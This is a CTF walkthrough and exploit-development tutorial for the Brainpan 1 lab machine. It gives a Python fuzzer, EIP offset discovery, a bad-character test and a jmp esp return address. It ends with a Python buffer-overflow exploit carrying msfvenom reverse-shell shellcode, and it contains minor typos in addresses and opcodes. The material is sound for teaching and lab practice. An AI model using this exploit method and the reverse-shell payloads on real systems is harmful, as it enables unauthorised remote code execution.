Difficulty: Beginner/Intermediate
IP: 172.16.253.130 (arp-scan -I vmnet1 –localnet) If you were looking either for a walkthrough on the Brainpan 1 vulnhub CTF or for a tutorial/article to serve as an Introduction to exploit development you clicked on the right link.
Phase 1: Enumeration & Port Scan
The port scan on this host discloses two remotely accessible opened ports – 9999 which nmap is unable to enumerate through its fingerprint database although the scanner reports it as a possible abyss web server, and 10000 which is a web server set up through the SimpleHTTPServer python module. Connecting to port 9999 using netcat spawns a password request prompt: There’s nothing on the front page of the web server, neither a robots.txt file, and running dirb on the target discovers the following directory with directory listing:# dirb http://172.16.253.130:10000/http://172.16.253.130:10000/bin Looking at the directory’s contents discloses a file named brainpan.exe Checking the application locally either using a simulated windows environment or wine shows that this application is most likely the web server daemon running on port 9999 on the target which nmap is not able to enumerate and reports as a possible abyss web server
Phase 2: Inspecting and Fuzzing brainpan.exe
The first step of debugging the application and trying to get the password of the brainpan.exe application is by reviewing its contents using a hex editor or to look for any ASCII strings in its binary code using the strings command:# strings brainpan.exeTrying to provide the password “shitstorm” to the application, however, doesn’t provide anything useful, despite the fact that the password provided was the correct one: Now we could fuzz the application and provide an overlength string, however in case a buffer overflow occurs the daemon would stop working and make the port inaccessible. In this case restarting the VM would work, but in a real-world scenario throwing the key for a door in front that you want to unlock is not desired. Thus the file should be inspected in a local environment you have control of. As the file is a 32-bit windows executable a simulated Windows environment is required to debug it. Evaluation versions of windows virtual machines can be downloaded from the Download virtual machines section on Microsoft’s website. (Preferably a Windows 7) Running the brainpan.exe applications proves that it is indeed the daemon running on the target:
The next step is to fuzz the application and see if a buffer overflow condition could be reached. This can be done by sending a long string (a string of an unexpected length of bytes which is usually not used to store a password). The application can be fuzzed either remotely using kali and connecting to the remote VM IP where the daemon is running or by installing python on the Windows 7 VM – I prefer the latter for accessibility) (or If you are using Kali as a host OS the virtualization software may not allow pasting the string directly into the guest VM) To generate a long string using python from the command line, the following command could be used:
python -c 'print "A"*1000'To generate a long string using python on Windows is slightly more complicated task as you’ll need to reverse the quotes and store it in a file and copy it from there to avoid the command prompt line wrapping:
python -c "print 'A'*1000' > string.txtAlternatively, you could use a simple fuzzer like this:
#!/usr/bin/python import time, socket # Create a string, fuzz from ilength (initial length) to tlength # (target length), with increments of 500 (increment). buffer="A" ilength=100 tlength=2000 increment=500 for x in range(increment,tlength,increment): print "Fuzzing with %s bytes" % x buffer = "A"*x print buffer s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect(('192.168.1.115',9999)) time.sleep(1) s.send(buffer + "\r\n"); s.close() x += incrementThe above script would just increment the string length by 200 each time, connect to the application and pass the string until the buffer overflow condition is reached Pasting 1000 bytes of “A”s reaches a buffer overflow condition in the program causing it to crash: Now it’s time for
Phase 3: Debugging the application
To debug the application you would need a debugger like Immunity Debugger Fuzzing the application showed that we need about 1000 bytes to crash the application, thus the skeleton exploit becomes like this:import time, socket buffer = "A"*1000 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('127.0.0.1',9999)) time.sleep(1) s.send(buffer + "\r\n") s.close()Now to start debugging the vulnerable application run brainpan.exe, then open Immunity Debugger and click File > Attach. Then find the brainpan.exe application and click Attach to attach the debugger to its process:
Note how the application’s process states “Paused” at the bottom. You have to click on the Run program button at the top bar of Immunity Debugger or click F9 to run it. The state would then change to “Running”. Now run the fuzzer.py script that was created and the application would crash, showing the EIP register overwritten with 41414141, which is the hex code equivalent to 4 bytes of “A”, as sent in our buffer: EIP states for Extended Instruction Pointer and it always contains the address of the next instruction to be executed. What this means is once control of the EIP register is taken the control of the execution flow has been taken over of the program, and can be pointed it to an arbitrary address containing a malicious shellcode. Where did the rest of the buffer go? Following ESP in dump shows 8 bytes per line in Immunity Debugger using it default settings, and in this case the buffer of A’s starts at address 0022F930 and ends at the final shown byte at 0022FB00 . You could either count the total bytes manually or use the following python code and let python do the math:
# python -c 'print 0x0022FB00 - 0x0022F930'This means that we are provided with exactly 464 bytes to work with (as the buffer of A’s ended at the last byte located at 0x0022F930), and an average reverse shell payload generated by msfvenom is about 350 bytes, which means that there’s sufficient space in the ESP register to put our shellcode. (In case there wasn’t enough buffer for a shellcode the first step would be to try to increase the payload length and check whether some additional space would be provided into the ESP register, however this would not always work) Where have we gone so far?
- Fuzzed the application with a buffer of 1000 bytes
- Located a space for our shellcode in the ESP register
- -> Find the exact offset where EIP is overwritten
- -> Find bad characters which may affect our payload and terminate its execution
- -> Find a return address an instruction that jumps to ESP (i.e. point the next instruction to reach an address located within the ESP register) and redirect the execution flow
- -> Generate a shellcode payload for the target platform (Windows/x86)
- -> Swap shellcode and test the exploit locally
- -> Run the exploit on the target machine (Brainpan)
Finding the exact offset
Finding the exact offset where ESP is overwritten can be easily done using the pattern_create.rb and pattern_locate.rb ruby scripts which are part of the metasploit framework. First, using the pattern_create.rb script a unique string is created, which is then swapped with the buffer being sent to the vulnerable application: The code of the exploit becomes then as following:import time, socket
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.1.115',9999))
time.sleep(1)
s.send(buffer + "\r\n")
s.close()
Running the above code and checking the EIP register in Immunity Debugger shows that EIP gets overwritten with the value 35724134
To find the exact offset, the pattern_locate.rb tool could be called using the EIP value:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134 -l 1000The tool reports that the exact offset where EIP gets overwritten with the buffer it receives is at 524. To test this and move on further, the buffer in the exploit code becomes:
buffer = "A"*524 + "B"*4 + "C" * (1000-524-4)The C’s at the end are added for consistency as it is preferable to keep a consistent payload length while building the exploit. Updating the exploit code with the above buffer shows that now EIP gets overwritten with the value of “42424242” which means the calculations were right:
Bad characters (Checking for and taking into account)
The bad characters are characters which have to be avoided when generating shellcode, or in other words characters which by any means would stop the execution flow of the application and terminate it, or terminate the payload being sent at an early stage prior to reaching its final stage. An example for a bad character is the null-terminator which terminates thes tring (00 in hex), and in this case the “enter” key which has a hex code equivalent of “2a”. The process of testing for bad characters consist of swapping the payload being sent to the vulnerable application with all the characters from the ASCII table (you can see a quick way on how to generate such a string in my cheatsheet) and then looking whether there are any characters missing from the register where the payload is stored (in this case ESP), or whether the buffer has been unexpectedly interrupted in memory. String to test for bad characters (excluding the null-byte terminator as it should always be avoided): (ASCII 1-255)\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xffLength: 255 As we already know that the \x00 and the \x0a characters have to be excluded they will be missing from the badchars string below. The python exploit code to test for bad characters becomes as following:
import time, socket badchars = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" buffer = "A"*524 + "B"*4 + badchars + "C" * (1000-524-4-len(badchars)) s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('127.0.0.1',9999)) time.sleep(1) s.send(buffer + "\r\n") s.close()Running the above exploit code and following ESP in dump shows that all the characters from the payload are reflected in ESP: Where have we gone so far?
- Fuzzed the application with a buffer of 1000 bytes
- Located a space for our shellcode in the ESP register
- Found the exact offset where EIP is overwritten
- Found bad characters which may affect our payload and terminate its execution
- -> Find a return address an instruction that jumps to ESP (i.e. point the next instruction to reach an address located within the ESP register) and redirect the execution flow
- -> Generate a shellcode payload for the target platform (Windows/x86)
- -> Swap shellcode and test the exploit locally
- -> Run the exploit on the target machine (Brainpan)
Finding a return address
As the buffer is located within the ESP register, we need an instruction that jumps to ESP like jmp esp. The opcode equivalent of this instruction is \xff\e4 – to convert an instruction to an opcode you could use the nasm_shell utility which is part of the metasploit framework: To find and address which has an opcode of jmp esp you could use the Immunity Debugger’s mona module written in python created by Corelan (you will have to install python on the Windows VM and import the mona module to Immunity Debugger – describing how to do this in details is out of scope in this article) To find a jmp esp address, first locate a module without any advanced memory protections like ASLR:!mona modulesAfter typing the above command in the Immunity Debugger console a list of modules that the application loads should be listed: To find an address containing a jmp esp instruction type:
!mona find -s "\xff\xe4" -m brainpan.exeThere should be a jmp esp instruction at 0x3111712f3. Using Immunity Debugger’s go to address functionality shows that the instruction at 0x3111712f3 is indeed a jmp esp one: Now to jump to this address we just have to overwrite EIP with the above address:
import time, socket 2 buffer = "A"*524 + "\xf3\x12\x17\x31" + "C" * (1000-524-4) 3 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 4 connect=s.connect(('127.0.0.1',9999)) 5 time.sleep(1) 6 s.send(buffer + "\r\n") 7 s.close()Note that the bytes of the return address is written in a reverse order as the x86 architecture stores address in this way. To follow the execution flow, go to the address in Immunity Debugger and press F2 to set a breakpoint. Then press F9 to run the program and run the exploit code: By pressing F8, the debugger will proceed with the flow of the application and will move an instruction forward (i.e. to the contents of the ESP register): As the screenshot above shows, the application has reached the buffer of “C” letters sent through our payload. Pressing F8 would go to the next instruction and so on, and pressing F9 would continue the application execution to its end. Where have we gone so far?
- Fuzzed the application with a buffer of 1000 bytes
- Located a space for our shellcode in the ESP register
- Found the exact offset where EIP is overwritten
- Found bad characters which may affect our payload and terminate its execution
- Found a return address
- What’s left to do?
- -> Generate a shellcode payload for the target platform (Windows/x86)
- -> Swap shellcode and test the exploit locally
- -> Run the exploit on the target machine (Brainpan)
Generating shellcode
Generating shellcode is something anyone reading this should know, so unnecessary details will not be described, however keep in mind that you have to exclude the bad characters found earlier:msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=<local IP> LPORT=443 -e x86/shikata_ga_nai -b '\x00\x0a' -f pythonExploit code:
import time, socket
shellcode = ""
shellcode += "\xbe\xbf\xba\x1e\x84\xda\xc5\xd9\x74\x24\xf4\x5a\x2b"
shellcode += ... (omitted)
buffer = "A"*524 + "\xf3\x12\x17\x31" + "\x90"*8 + shellcode + "C"* (1000-524-4-8)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.1.115',9999))
time.sleep(1)
s.send(buffer + "\r\n")
s.close()
Note that a few NOP sleds (no-operation8 byte of NOPs are put prior to the shellcode payload to leave for it some space to decode itself. Otherwise, the payload would not execute.
To test the exploit code and make sure the execution flow reaches the shellcode generated by msfvenom, run the vulnerable application and Immunity Debugger, set a breakpoint at the return address and press F9 or hit run in Immunity Debugger, then run the exploit and press F8 in the debugger to step into the contents of the ESP register:
A the screenshot shows, the execution flow of the program is now into the 8 bytes of NOP sled through the payload of the exploit followed by the shellcode. Allowing the program to run would execute the payload completely and spawn a reverse shell back to the attacker’s machine:
The exploit seems to be working, so it’s now time to run it against the target (brainpan).
Phase 4: Exploiting the target machine
At this point all that’s left to do in order to run the exploit against the target is to change the IP in the exploit code to match the one on target, in my case 172.16.253.130 A few things to remember:-> In a local environment, especially when not using the bridged mode of the virtualization software you use, make sure the target host can reach the attacker’s IP which is used when generating the payload using msfvenom
-> In case the exploit is not successful, be sure to reset the VM as the buffer overflow results in a DoS condition as well making the service unavailable. You need to restart it in order to be able to run the exploit again.
-> In case you are still unable to get a shell on the attacker’s host you may run the exploit on the Windows 7 VM against the target brainpan 1 and debug it using Immunity Debugger. Make sure the execution flow reaches the return address and that the shellcode is being executed. (you may need to reboot the target VM several times in case you make any changes to the exploit)
-> In case you are rebooting the VM, wait for a minute before trying to exploit, and make sure to test it using nc. In my case it required at least half a minute for the daemon to fire up and be available.
-> The time.sleep(1) function is needed for the payload to be sent to the server. If you have removed it and you do not know what you are actually doing – put it back, It is there for a reason. You could also remove it and try putting s.recv(1024), or increase the delay with a few more seconds.
This was just the first part of the walkthrough on Brainpan 1. The next part will be published soon.